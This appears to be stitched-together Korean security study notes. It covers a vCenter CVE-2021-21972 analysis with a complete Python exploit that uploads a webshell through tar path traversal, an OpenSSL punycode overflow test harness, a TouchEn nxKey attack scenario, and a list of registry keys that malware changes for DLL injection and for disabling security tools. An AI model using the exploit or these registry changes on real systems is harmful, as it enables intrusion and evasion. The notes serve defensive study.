- vSphere Client(HTML5)에는 vCenter Server의 업로드 관련 플러그인(uploadova)의 파일 업로드 취약점
※파일 업로드 후 원격 명령 실행으로 이어질 수 있음
영향받는 버전 - VMware vCenter Server 7.0 U1c 이전 7.x 버전 - VMware vCenter Server 6.7 U3I 이전 6.7 버전 - VMware vCenter Server 6.5 U3n 이전 6.5 버전 - VMware Cloud Foundation (vCenter 서버) 4.2 이전 4.x 버전 - VMware Cloud Foundation (vCenter 서버) 3.10.1.2 이전 3.x 버전
2. 분석
2.1 원인
- 공개된 PoC 확인 시 업로드 관련 플러그인(uploadova)을 이용해 악성 파일 업로드 후 원격 명령 입력을 시도
- uploadova 엔드포인트의 경로인 /ui/vropspluginui/rest/services/* 는 인증 없이 접근이 가능
- [사진 3]의 코드는 다음과 같은 문제를 유발시킴
① uploadova 플로그인은 tar 압축 파일만 업로드 가능한 플러그인 > 압축 파일 확장자(.tar) 이름을 필터링되지 않음
② 아카이브 파일을 받아 /tmp/unicorn_ova_dir 경로에 해당 아카이브 파일을 열어 파일을 생성 > 생성되는 아카이브 내부의 파일 이름에 대한 검증이 없음
∴ 악성 파일을(ex. webshell) 업로드 후 원격 명령어 입력이 가능
2.2 PoC
- 공개된 PoC를 확인 시 다음을 알 수 있음
① POST 메소드 사용
② /ui/vropspluginui/rest/services/uploadova URL 요청
③ .tar 확장자 파일을 업로드 시도
※ 대상 서버가 Windows인 경우
- .jsp 형식의 웹 쉘 등 악의적인 파일을
- C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\ 에 업로드 (인증 없이 접근 가능)
- 파일에 접근 및 원격 코드 실행
#!/usr/bin/python3
import argparse
import requests
import tarfile
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
ENDPOINT = '/ui/vropspluginui/rest/services/uploadova'
def check(ip):
r = requests.get('https://' + ip + ENDPOINT, verify=False, timeout=30)
if r.status_code == 405:
print('[+] ' + ip + ' vulnerable to CVE-2021-21972!')
return True
else:
print('[-] ' + ip + ' not vulnerable to CVE-2021-21972. Response code: ' + str(r.status_code) + '.')
return False
def make_traversal_path(path, level=5, os="unix"):
if os == "win":
traversal = ".." + "\\"
fullpath = traversal*level + path
return fullpath.replace('/', '\\').replace('\\\\', '\\')
else:
traversal = ".." + "/"
fullpath = traversal*level + path
return fullpath.replace('\\', '/').replace('//', '/')
def archive(file, path, os):
tarf = tarfile.open('exploit.tar', 'w')
fullpath = make_traversal_path(path, level=5, os=os)
print('[+] Adding ' + file + ' as ' + fullpath + ' to archive')
tarf.add(file, fullpath)
tarf.close()
print('[+] Wrote ' + file + ' to exploit.tar on local filesystem')
def post(ip):
r = requests.post('https://' + ip + ENDPOINT, files={'uploadFile':open('exploit.tar', 'rb')}, verify=False, timeout=30)
if r.status_code == 200 and r.text == 'SUCCESS':
print('[+] File uploaded successfully')
else:
print('[-] File failed to upload the archive. The service may not have permissions for the specified path')
print('[-] Status Code: ' + str(r.status_code) + ', Response:\n' + r.text)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-f', '--file', help='The file to tar')
parser.add_argument('-p', '--path', help='The path to extract the file to on target')
parser.add_argument('-o', '--operating-system', help='The operating system of the VCSA server')
args = parser.parse_args()
vulnerable = check(args.target)
if vulnerable and (args.file and args.path and args.operating_system):
archive(args.file, args.path, args.operating_system)
post(args.target)
3. 대응방안
3.1 서버측면
① 최신 버전의 업데이트 적용
- VMware vCenter Server 7.0 U1c - VMware vCenter Server 6.7 U3I - VMware vCenter Server 6.5 U3n - VMware Cloud Foundation (vCenter 서버) 4.2 - VMware Cloud Foundation (vCenter 서버) 3.10.1.2
3.2 네트워크 측면
① 보안장비에 취약점을 이용한 공격 시도를 탐지할 수 있는 정책 적용
alert tcp any any -> any any (msg:"VMware vCenter Server Uploadova (CVE-2021-21972)"; flow:established,from_client; content:"POST"; depth:4; content:"ui/vropspluginui/rest/services/uploadova"; distance:1;)
- OpenSSL에서 X.509 인증서의 이메일 주소 이름 제약 조건 검사 기능 수행 중 버퍼 오버 플로우가 발생 가능
① CVE-2022-3602 : 조작된 이메일 주소가 공격자가 제어하는 스택에서 정확히 4바이트 오버플로를 허용
② CVE-2022-3786 : "." 문자(마침표)가 있는 스택에서 임의의 바이트 수를 오버플로하여 서비스 거부 유발
- Heartbleed(2016) 이후 OpenSSL에서 처음 나온 치명적인 취약점
영향받는 버전 OpenSSL 3.0.0 ~ 3.0.6
2.1 분석
- X.509 인증서를 확인하는 동안 Punycode를 ossl_punycode_decode()에서잘못 처리하여 발생
- 공격자는 BoF를 트리거하도록 특수하게 조작된 퓨니코드로 인코딩된 이메일 주소를 포함하여 Exploit 수행
퓨니코드(Puny Code) - 유니코드 문자열을 호스트 이름에서 허용된 문자만으로 인코딩하는 방법 - ASCII 문자 집합으로 표시할 수 없는 문자를 인코딩 - OpenSSL 3.0.0에서 도입 - 변환된 퓨니코드 문자열에는 예약된 접두어 "xn--"을 덧붙임 ex) 한국 => xn--3e0b707e.kr
참고 : https://ko.wikipedia.org/wiki/%ED%93%A8%EB%8B%88%EC%BD%94%EB%93%9C
- CVE-2022-3602, CVE-2022-3786 공격 패킷은 다음과 같음
2.2 PoC
2.2.1 CVE-2022-3602
#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
// Edit to change the test string
#define TEST_STRING "hello! -gr25faaaaaaaaaaaaa"
// Edit to change the output buffer's length
#define DECODED_LENGTH 20
int ossl_punycode_decode(const char *pEncoded, const size_t enc_len, unsigned int *pDecoded, unsigned int *pout_length);
int main(int argc, char *argv[])
{
setlocale(LC_CTYPE, "");
uint32_t *decoded = (uint32_t*) malloc(DECODED_LENGTH * 4);
unsigned int decoded_len = DECODED_LENGTH;
if(!ossl_punycode_decode(TEST_STRING, strlen(TEST_STRING), decoded, &decoded_len)) {
printf("Encoding failed!\n");
free(decoded);
exit(1);
}
printf("encoded: [%ld] %s\n", strlen(TEST_STRING), TEST_STRING);
printf("decoded: [%d] ", decoded_len);
int i;
for(i = 0; i < decoded_len; i++) {
printf("%lc", decoded[i]);
}
printf("\n");
free(decoded);
return 0;
}
-TouchEnxKey를 사용할 경우 웹사이트에서 실행되는 자바스크립트 코드와 일부 서버 측 코드로 구성된 nxKey SDK와 함께 동작
① nxKey SDK를 사용하는 웹 사이트에서 암호 필드를 입력 ② nxKey SDK의 JavaScript 코드가 이를 감지하여 로컬 nxKey 응용 프로그램 호출 ③ nxKey 응용 프로그램은 윈도우즈 커널에서 장치 드라이버를 활성화 ④ 장치 드라이버가 모든 키보드 입력을 가로채 nxKey 응용 프로그램으로 전송 ⑤ nxKey 응용 프로그램은 키보드 입력을 암호화하여 nxKey SDK의 JavaScript 코드로 전송 ⑥ 자바스크립트 코드는 암호화된 데이터를 숨겨진 형태의 필드에 작성
※ 실제 암호 필드는 더미 텍스트만 수신 ⑦ 로그인 자격 증명 입력을 완료하고 "로그인" 클릭 ⑧ 암호화된 키보드 입력은 다른 데이터와 함께 서버로 전송 ⑨ nxKey SDK의 서버 측 부분은 암호를 해독하고 일반 텍스트 암호를 검색
> 사용자의 입력값을 nxKey가 가로채어 암호화 및 숨겨진 필드에 작성
> 서버측 nxKey SDK에서 복호화 및 로그인 시도 검증
> 키로거는 nxKey에 의해 암호화된 데이터만을 볼 수 있으며, 개인 키가 없으므로 복호화를 수행하지 못함
- 과거 : 브라우저 확장을 통해 웹 사이트와 응용 프로그램 사이에서 동작하며 요청과 응답을 중재
- 현재 : 웹 사이트에서 웹 소켓 API를 사용하여 응용 프로그램과 직접 통신 즉, 브라우저 확장은 더 이상 필요하지 않음
> 일부 은행 사이트들은 브라우저 확장에 의존하는 오래된 코드를 사용
2. 취약점
- 설계상 주요 로깅 기능을 포함하고 있으며, 해당 기능에 대한 액세스를 충분히 제한하지 못함
- 단순 서비스 거부에서부터 원격 코드 실행을 유발하는 다양한 버그가 존재
2.1 TouchEn 확장 기능을 악용하여 은행 웹 사이트 공격
- eval()은 문자로 표현된 JavaScript 코드를 실행하는 함수
- TouchEn browser extension의 코드 중 주석처리된 eval()이 존재 > 코드 품질의 문제가 있을 가능성
result = JSON.parse(result);
var cbfunction = result.callback;
var reply = JSON.stringify(result.reply);
var script_str = cbfunction + "(" + reply + ");";
//eval(script_str);
if(typeof window[cbfunction] == 'function')
{
window[cbfunction](reply);
}
- 콜백 메커니즘에서 악용 가능성이 발견되었으며, 악의적인 웹 페이지를 콜백 하도록 조작이 쉽게 가능하였음
※ 일부 이벤트에대해 웹 사이트에서 setcallback 요청을 전송
- 조작을 위해서는 2가지 조건이 필요
① 대상 웹 페이지에 id="setcallback" 매개변수가 존재해야 함
> 이는, nxKey SDK를 사용하는 웹 사이트만 공격할 수 있다는 것을 의미
※ WebSockets를 통한 통신은 이 요소를 생성하지 않음 즉, 최신 nxKey SDK를 사용하는 웹 사이트는 영향을 받지 않음
② 콜백은 특정 탭으로 전달
> 현재 탭에 로드된 페이지, 예를 들어 프레임에 로드된 페이지만 공격할 수 있다는 것을 의미
- 응용 프로그램이 요청을 처리하기 위해 JSON 파서를 사용하는 동안 응답은 sprintf_s()를 통해 처리되며, 이때 필터링이 수행되지 않음
> id 값은 응용 프로그램의 응답에 복사 - 취약점 발생 지점
> 공격자는 tabid 값을 알아낼 필요 有 - TouchEn 확장이 노출하는 tabid로 추측 또는 빈 값으로 설정(빈 값일 경우 현재 활성 탭으로 설정)
- 위 과정에 따른 공격 시나리오는 다음과 같음
① 은행 웹 사이트를 열어 활성 탭 생성 ② 페이지가 로드될 때까지 기다렸다가 id="setcallback" 요소 확인 ③ 일부 기능에 대한 콜백을 설정하기 위해 TouchEn 확장을 통해 콜백 메시지를 보내는 동시에 JSON 응답 속성을 "tabid":" 및 "reply":"malicious payload"로 조작하여 요청 ④ 악성 페이로드를 매개 변수로 하여 은행 웹사이트에서 콜백 기능이 호출
2.2 웹 사이트의 키로깅 기능 사용
- 공격자 스스로 TouchEnxKey를 사용한 웹 페이지를 구성 - 피싱과 유사한 형태로 판단됨.
- 웹 사이트에서 TouchEnxKey를 사용하기 위해서는 유효한 라이센스가 필요
- TouchEnxKey는 요청 정보의 유효성이 아닌 라이선스 정보를 통해 식별
> TouchEnxKey가 암호화를 위한 공개 키를 수신하지 못하면 암호화하지 않고 평문을 전송
> 해당 방법은 가로챈 입력이 실제 유효한 사이트에 도달하지 못하므로, 의심을 유발할 수 있음
- 독일의 개발자 블라디미르 팔란트(Wladimir Palant)가 최근 우리나라 보안 프로그램을 정면으로 비판 ※ 블라디미르 팔란트(Wladimir Palant) : 광고차단 프로그램 '애드블록 플러스(Adblock Plus)' 개발자
- 우리나라 은행 사이트를 이용하는 데에 상당히 많은 장애물이 도사리고 있다고 지적 ① 사이트에 한 번 들어가려면 보안 프로그램을 5~6개씩 설치 > 로딩 속도가 느려짐 ② 여러 은행을 이용 > 같은 보안 프로그램의 서로 다른 버전을 중복해서 설치 ③ 이러한 과정에서 보안 취약점이 발생 > 프로그램의 상당수가 최신 기술을 적용하지 않는다는 것 > 오래된 프로그래밍 언어로 짜여 있어 초보적인 해킹에 취약 > 10년이 넘은 라이브러리를 사용
내용
- 구체적으로 어떤 프로그램이 취약점을 가졌는지는 명확히 밝히지는 않았으나, 총 5개의 프로그램이 드러나 있음 ① INISAFE ② AhnLab Online Security ③ TouchEn nKey ④ IPInside-LWS ⑤ Copy Certificates to Smartphones
- 1월 9일을 시작으로 매 2주 마다 본인 블로그에 보안 프로그램 1개씩, 총 4종의 취약점을 보고 공언
- 지난해 10월 4일 한국인터넷진흥원 인터넷침해사고대응지원센터(KrCert)를 통해 이 문제를 신고 > 3개월이 넘게 어떠한 회신도 받지 못했다고 주장 > “프로그램 제작사 측에서 아무런 연락을 주지 않았으며 현재 최신 버전 프로그램에도 지적한 문제점이 그대로 남아 있다"
참고
- 라온시큐어 관계자 > “해당 내용은 이미 작년에 KrCert를 통해 모두 전달받았고, 취약점을 보완하는 패치가 모두 이뤄진 상태” > “보완된 프로그램을 각 은행을 통해 배포하는 절차만 남겨놓은 상황”
- 시스템, 사용자, 프로그램, 서비스, 드라이버 등 PC 운용에 반드시 필요한 정보를 저장해둔 데이터베이스
- 윈도우+R > regedit.exe(또는 regedit)를 통해 접근하며, 키(Key_폴더의 개념)와 값(Value_파일의 개념)로 구성
- 레지스트리는 수많은 논리를 구분하는 하이브(Hive)로 나눌 수 있으며, 하이브는 모두 HKEY로 시작
하이브
약칭
설명
HKEY_CLASSES_ROOT
HKCR
-파일 확장자와 특정 프로그램을 연결시켜주는 참조 테이블 - OLE 데이터와 확장자에 대한 정보, 파일과 프로그램 각 연결 정보가 포함 - 파일 확장자들이 서브트리로 구성, 각 확장자는 파일타입과 연결되어 해당 프로그램을 확인가능
HKEY_CURRENT_USER
HKCU
- 현재 로그인한 사용자의 설정을 저장
HKEY_LOCAL_MACHINE
HKLM
- 시스템 전체 설정을 저장 - 부팅과 관련된 5개의 하위키를 가짐 ① HKLM\HARDWARE > 휘발성 정보로 메모리에 존재 > 모니터 포트 등 부팅 시 관련된 하드웨어 장치와 드라이버 맵핑 정보들을 저장
② HKLM\SAM > 사용자의 로컬 계정 정보(사용자 패스워드, 사용자 프로필 등)와 그룹 정보를 갖고 있음 (리눅스 /etc/passwd와 비슷) > 일반 관리자 계정으로도 접근이 불가능하며, 시스템 계정으로만 접근 가능
③ HKLM\SECURITY > 시스템 범위의 보안 정책과 사용자 권한 할당 정보, 현재 시스템의 패스워드 또는 마지막 로그온 사용자의 패스워드 등의 정보를 가짐 > 시스템 계정으로만 접근이 가능
④ HKLM\SYSTEM > 시스템이 부팅될 때의 환경 설정 정보를 가짐 > 시스템이 정상적 부팅되었을 때 복사되며, 시스템이 비정상적으로 종료되었을 때 복사해 둔 정보를 바탕으로 부팅할 수 있는 옵션을 사용자에게 제공 > 복사본은 일반적으로 '마지막으로 성공한 구성'이라고 부름 > 해당 하이브에서 중요한 것은 바로 CurrentControlSet 키(보통 2개 이상 존재) > CurrentControlSet은 부팅에서 사용된 ControlSet 키(ControlSet001_최근 부팅에서 사용한 키 또는 ControlSet002_마지막으로 성공한 구성)의 링크이고, 같은 레벨에 있는 Select 키에서 확인 가능
⑤ HKLM\SOFTWARE > 시스템 범위의 소프트웨어 목록과 그 환경 설정 정보가 저장 > 환경설정 정보에는 애플리케이션 이름, 경로, 라이센스 정보, 만료 날짜 등이 포함
HKEY_USERS
HKU
- 시스템의 모든 사용자에 대한 모든 설정을 저장 - HKEY_CURRENT_USER 키에 일치하는 서브키를 가지고 있음
HKEY_CURRENT_CONFIG
HKCC
- 시스템 시작 시 사용되는 하드웨어 프로파일 저장 - 현재 활성화된 하드웨어 알아보기 위해 참조
HKEY_PERFORMANCE_DATA
-
- 런타임 성능 데이터 정보를 제공 - 레지스트리 편집기에 보이지 않지만 윈도우 API의 레지스트리 명령어를 통해 확인 가능
HKEY_DYN_DATA
-
- 윈도우 95, 윈도우 98, 윈도우 Me에만 쓰임 - 플러그 앤 플레이를 비롯한 하드웨어 장치, 네트워크 성능 통계에 대한 정보를 포함
[오토런 설정] - HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun - USB 같은 이동형 저장장치에 대해 Autorun 설정을 합니다. (0xFF로 설정 시 Block, 0x00으로 설정 시 모두 허용)
[윈도우 주요 설정 툴 실행 방지] - HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools - HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr - HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD
[Image File Execution Options 이용하여 프로그램 실행 방지] - HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution\Options\calc.exe Debugger = notepad.exe - 계산기 실행 시 노트패드로 전환되어 실행. (AV 실행을 막거나, 포렌직 툴 실행을 막기위해 변조함)
- HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer DisableLocalMachineRunOnce=1:DWORD DisableLocalMachineRun=1:DWORD DisableCurrentUserRunOnce=1:DWORD DisableLocalMachineRun=1:DWORD - 이러한 키가 설정되면 시작프로그램에 등록된 프로그램이 실행이 안됨.
[인터넷 익스플로러] - HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel - 해당 키 안에 ResetWebSettings 값이나 HomePage 값이 있으면 시작 페이지 부분 비활성화. (재부팅이 필요 합니다)
[HKEY_CURRENT_USER\Software\Policies\Microsoft\internet explorer\restrictions] "NoBrowserOptions"=dword:00000001 - 인터넷 옵션 실행불가 관련 레지스트리
[HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel] "AdvancedTab"=dword:00000001 "PrivacyTab"=dword:00000001 "ProgramsTab"=dword:00000001 "ConnectionsTab"=dword:00000001 "ContentTab"=dword:00000001 "SecurityTab"=dword:00000001 "GeneralTab"=dword:00000001 - 역시 인터넷 옵션 실행불가 관련 레지스트리
[네트워크 관련] HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\MaxUserPort - 윈도우에서 허용하는 네트워크 연결 개수 수정(주로 Spamer가 변조)
[HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\00000000000*] "PackedCatalogItem" 이진값 문자열에 악성코드가 삽입되어 있을 경우 네트워크가 정상적으로 동작하지 않음. netsh winsock show catalog 명령어로 확인 가능, 복구툴 : http://www.cexx.org/lspfix.htm
[윈도우 보안 정책 관련] HKLM\SYSTEM\ControlSet001\Services\wscsvc\Start - wscsvc : 윈도우 시큐리티 보안센터, 윈도우 시큐리티 보안센터 시작을 꺼버립니다.
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\EnableLUA - 윈도우 VISTA UAC 기능 무효화
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List - 윈도우 방화벽 관련 정책 변경
HKLM\SOFTWARE\Microsoft\Ole\EnableDCOM - 분산 컴포넌트 객체 모형에 해당하는 값을 변경 [DCOM, Distributed Component Object Model]
HKLM\SOFTWARE\Microsoft\Security Center\AntiVirusDisableNotify - 보안센터 바이러스 백신 경보에 해당하는 값을 변경
HKLM\SOFTWARE\Microsoft\Security Center\FirewallDisableNotify - 보안센터 바이러스 사용자지정 백신에 해당하는 값을 변경
HKLM\SOFTWARE\Microsoft\Security Center\AntiVirusOverride - 보안센터 바이러스 방화벽 경보에 해당하는 값을 변경
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Start - 연결공유서비스에 해당하는 값을 변경한다.
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous - 익명연결(널세션)에 해당 하는 값을 변경
원래는 "%System%\userinit.exe만 있는게 정상이다. 부팅이 되고,, winlogon 이 실행되서 로그인을 하고 들어가면, userinit 가 실행이 되서 explorer.exe 를 실행하는 것이다. 요런 흐름인데 explorer.exe 가 실행되기 전에 악성코드가 실행되어 버리니.. 백신도 진단을 못할 수도 있는법이다~
[DLL Injection 을 위한 변경 - AppInit_DLLs] HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\"AppInit_DLLs" = "악성코드경로\attack.dll"
DLL Injection 이라는 것은 여러가지 방법이 있는데 그중 한 방법이다. 레지스트리에 위와 같이 등록이 된다면, 어떠한 프로세스에서 user32.dll (실행시 필요) 을 호출할 시에 user32.dll 은 LoadLibrary() 함수를 이용할 것이고, AppInit_DLLs 안에 지정된 DLL 들을 호출할 것이다. LoadLibrary() 함수에는 인자값이 DLL_PROCESS_ATTACH 를 지정해 준다. 그러므로 중간에 끼어들어갈 수 있다.
ControlSet002 / CurrentControlSet 도 마찬가지 이다. 그리고 위에서는 보라색 글자와 같이 DomainProfile 에서 바꾸어 주었는데 이곳이 아닌 StandardProfile 에서도 바꾸어 준다. 뭐.... 워낙 영어에 취약한 지라.. 한글로 풀어써서 이해를 하였다. 서비스\공유접근\매개변수\방화벽정책\사용자프로파일\권한응용프로그램\목록\ 오호~ 방화벽 정책에서 악성코드에 권한을 주는구만? 이라고.. 난 해석하였다.
위의 내용은 허위로 안내 도움말을 하기 위해 켜놓은 것이다. 원래의 값은 0이다. 보통 허위안티바이러스에서 많이 사용을 한다. 사용자에게 지속적으로 감염되었다고 알려주어 겁주고 결제 요구한다... EnableBalloonTips ==> 표시줄 트레이의 풍선 도움말 HKEY_LOCAL_MACHINE 이외에 HKEY_CURRENT_USER 도 수정한다.
[작업관리자 사용금지하게 하는 것] HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\"DisableTaskMgr" = "1"
Task Manager 를 비활성화 시킨다. 이것은 우리가 흔히 알고 있는 작업관리자이다. 작업관리자(Ctrl+Alt+Del)가 뜨지 않는다면 요 레지스트리가 1로 되어있기 때문에 뜨지 않는 것이다. 악성코드들은 자기자신을 은폐하려 들기 때문에 작업관리자를 사용하지 못하도록 한다. HKEY_LOCAL_MACHINE 이외에 HKEY_CURRENT_USER 도 수정한다.
[제어판 사용 금지] HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"NoControlPanel" = "1"
NoControlPanel 은 제어판에 사용자가 접근하는 것을 제한하는 것이다. 이것을 1로 설정해 놓으면 제어판을 열수가 없다. HKEY_LOCAL_MACHINE 이외에 HKEY_CURRENT_USER 도 수정한다.
[레지스트리 사용 금지] HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\"DisableRegistryTools" = "1"
Disable (무능력하게 하다) RegistryTools (레지스트리툴을) 레지스트리 툴 사용을 무능력하게 하여, 사용자의 접근을 막는다.
[업데이트 사용 금지 - HKLM] HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU\"NoAutoUpdate" = "1"
자동 업데이트를 막는다.
[업데이트 사용 금지 - HKCU] HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"NoWindowsUpdate" = "1"
악성코드 자신을 보호하고 파일을 숨기면 사용자는 악성코드에 접근할 수 없다. 그러므로 이 레지스트리 값을 이용하여 자신에게 접근을 보호한다. Type 값에 이상한 글자를 넣게 된다면.. 폴더 옵션에서 아예 메뉴가 나오지 않는다.
[다운시 보안 팝업창 무력화] HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download "CheckExeSignatures" = "no"
인터넷에서 다운로드를 해 실행을 하면 경고창을 띄우는 것을 우리는 알고 있다. 그러나 위의 레지값을 변경하면 경고창 없이 설치가 되버린다.
[exe 파일이 열리지 않을때 - 프로그램 선택하라는 창이 나올 때 ] HKEY_CLASSES_ROOT\exefile\shell\open\command\"기본값" = ""악성코드경로" /START "%1" %*" HKEY_CLASSES_ROOT\exefile\shell\open\command\"기본값" = "%1" %* 위와 같이 기본값을 변경해 주어야 한다.
HKEY_CLASSES_ROOT\.exe\"기본값" = "secfile" HKEY_CLASSES_ROOT\.exe\"기본값" = "exefile" secfile 값을 exefile 로 고쳐준다.